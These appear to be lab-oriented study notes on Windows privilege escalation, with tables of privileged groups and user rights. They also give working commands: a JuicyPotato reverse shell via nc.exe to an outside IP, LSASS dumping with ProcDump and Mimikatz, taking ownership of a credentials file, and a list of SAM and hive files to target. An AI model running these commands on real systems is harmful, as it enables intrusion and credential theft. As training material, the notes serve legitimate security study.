Security principals are anything that can be authenticated by the Windows operating system, including user and computer accounts, processes, or security groups. Every single security principal is identified by a unique Security Identifier (SID). During the Windows authorization and access control process, the user’s access token (containing their user SID) is compared against Access Control Entries (ACEs) within the object’s security descriptor (which contains security information about a securable object.)
In Windows we there are many groups that grant specific privileges. Some include
| Group | Description |
|---|---|
| Default Administrators | Domain Admins and Enterprise Admins are “super” groups. |
| Server Operators | Members can modify services, access SMB shares, and backup files. |
| Backup Operators | Members are allowed to log onto DCs locally and should be considered Domain Admins. They can make shadow copies of the SAM/NTDS database, read the registry remotely, and access the file system on the DC via SMB. This group is sometimes added to the local Backup Operators group on non-DCs. |
| Print Operators | Members can log on to DCs locally and “trick” Windows into loading a malicious driver. |
| Hyper-V Administrators | If there are virtual DCs, any virtualization admins, such as members of Hyper-V Administrators, should be considered Domain Admins. |
| Account Operators | Members can modify non-protected accounts and groups in the domain. |
| Remote Desktop Users | Members are not given any useful permissions by default but are often granted additional rights such as Allow Login Through Remote Desktop Services and can move laterally using the RDP protocol. |
| Remote Management Users | Members can log on to DCs with PSRemoting (This group is sometimes added to the local remote management group on non-DCs). |
| Group Policy Creator Owners | Members can create new GPOs but would need to be delegated additional permissions to link GPOs to a container such as a domain or OU. |
| Schema Admins | Members can modify the Active Directory schema structure and backdoor any to-be-created Group/GPO by adding a compromised account to the default object ACL. |
| DNS Admins | Members can load a DLL on a DC, but do not have the necessary permissions to restart the DNS server. They can load a malicious DLL and wait for a reboot as a persistence mechanism. Loading a DLL will often result in the service crashing. A more reliable way to exploit this group is to create a WPAD record. |
| Each user may have their own rights assigned. Below is a list of some of those rights |
| Setting Constant | Setting Name | Standard Assignment | Description |
|---|---|---|---|
| SeNetworkLogonRight | Access this computer from the network | Administrators, Authenticated Users | Determines which users can connect to the device from the network. This is required by network protocols such as SMB, NetBIOS, CIFS, and COM+. |
| SeRemoteInteractiveLogonRight | Allow log on through Remote Desktop Services | Administrators, Remote Desktop Users | This policy setting determines which users or groups can access the login screen of a remote device through a Remote Desktop Services connection. A user can establish a Remote Desktop Services connection to a particular server but not be able to log on to the console of that same server. |
| SeBackupPrivilege | Back up files and directories | Administrators | This user right determines which users can bypass file and directory, registry, and other persistent object permissions for the purposes of backing up the system. |
| SeSecurityPrivilege | Manage auditing and security log | Administrators | This policy setting determines which users can specify object access audit options for individual resources such as files, Active Directory objects, and registry keys. These objects specify their system access control lists (SACL). A user assigned this user right can also view and clear the Security log in Event Viewer. |
| SeTakeOwnershipPrivilege | Take ownership of files or other objects | Administrators | This policy setting determines which users can take ownership of any securable object in the device, including Active Directory objects, NTFS files and folders, printers, registry keys, services, processes, and threads. |
| SeDebugPrivilege | Debug programs | Administrators | This policy setting determines which users can attach to or open any process, even a process they do not own. Developers who are debugging their applications do not need this user right. Developers who are debugging new system components need this user right. This user right provides access to sensitive and critical operating system components. |
| SeImpersonatePrivilege | Impersonate a client after authentication | Administrators, Local Service, Network Service, Service | This policy setting determines which programs are allowed to impersonate a user or another specified account and act on behalf of the user. |
| SeLoadDriverPrivilege | Load and unload device drivers | Administrators | This policy setting determines which users can dynamically load and unload device drivers. This user right is not required if a signed driver for the new hardware already exists in the driver.cab file on the device. Device drivers run as highly privileged code. |
| SeRestorePrivilege | Restore files and directories | Administrators | This security setting determines which users can bypass file, directory, registry, and other persistent object permissions when they restore backed up files and directories. It determines which users can set valid security principals as the owner of an object. |
| SeTcbPrivilege | Act as part of the operating system | Administrators, Local Service, Network Service, Service | This security setting determines whether a process can assume the identity of any user and, through this, obtain access to resources that the targeted user is permitted to access (impersonation). This may be assigned to antivirus or backup tools that need the ability to access all system files for scans or backups. This privilege should be reserved for service accounts requiring this access for legitimate activities. |
When running whoami /priv from an elevated shell and a privilege listed is in the Disabled state it means that our account has the specific privilege assigned but cannot be used in an access token to perform actions. |
SeImpersonate
In Windows every process has a token that has information about the account that is running it. These tokens are not considered secure resources, as they are just locations within memory. Legimitate programs might use another process’s tokens to escalate from Administrator to Local System. Processes do this by making a call to the WinLogon process to get a SYSTEM token. Using the SeImpersonate privilege from a service account we can trick a process running as SYSTEM to connect to their process and hands over the token.
To leverage this attack we will use the JuicyPotato exploit
c:\tools\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.14.3 8443 -e cmd.exe" -t *
# make sure to catch the SYSTEM shellSimilarly the PrintSpoofer and RoguePotato exploits can be used on later versioned machines.
SeDebugPrivilege
To run a particular application or service or assist with troubleshooting, a user might be assigned this privilege. Allows us to capture system memory, access/modify kernel and application structures.
We can use ProcDump from Sysinternals to dump processes memory like the LSASS.
procdump.exe -accepteula -ma lsass.exe lsass.dmpThe next step is to use Mimikatz to gain the hashes from the dump.
mimikatz.exe
# enable log so all command output will be put in a file
log
sekurlsa::minidump lsass.dmp
# retrieve the NTLM hash of local account
sekurlsa::logonpasswordsA manual dump of the LSASS process is possible via RDP access using Task Manager. Details tab-->LSASS process --> Create Dump File.
RCE as SYSTEM
We can also use this privilege for RCE. We can elevate our privilege to SYSTEM by launching a child process using elevated rights by inheriting the token of a parent process and impersonate it. Using this PoC Script
SeTakeOwnershipPrivilege
Grants a user the ability to take ownership of any “securable object” meaning Active Directory objects, NTFS files, etc. Assigns the WRITE_OWNER rights over an object, meaning the user can change the owner within the object’s security descriptor.
Can be set Computer Configuration ⇾ Windows Settings ⇾ Security Settings ⇾ Local Policies ⇾ User Rights Assignment
If the privilege is not enabled we can use this script .
Import-Module .\Enable-Privilege.ps1
.\EnableAllTokenPrivs.ps1
whoami /privNext we must target a file, a common location to look for is the File Shares in Public and Private. It is important to note that changing ownership can disrupt the user of the target object.
# gather information about target file
Get-ChildItem -Path 'C:\Department Shares\Private\IT\cred.txt' | Select Fullname,LastWriteTime,Attributes,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }}
# take ownership of the file
takeown /f 'C:\Department Shares\Private\IT\cred.txt'
# confirm ownership change
Get-ChildItem -Path 'C:\Department Shares\Private\IT\cred.txt' | select name,directory, @{Name="Owner";Expression={(Get-ACL $_.Fullname).Owner}}
# if some permissions are still not set when change them (like reading the file)
icacls 'C:\Department Shares\Private\IT\cred.txt' /grant htb-student:FSome common files we might want to target
c:\inetpub\wwwwroot\web.config
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
Any .kdbx files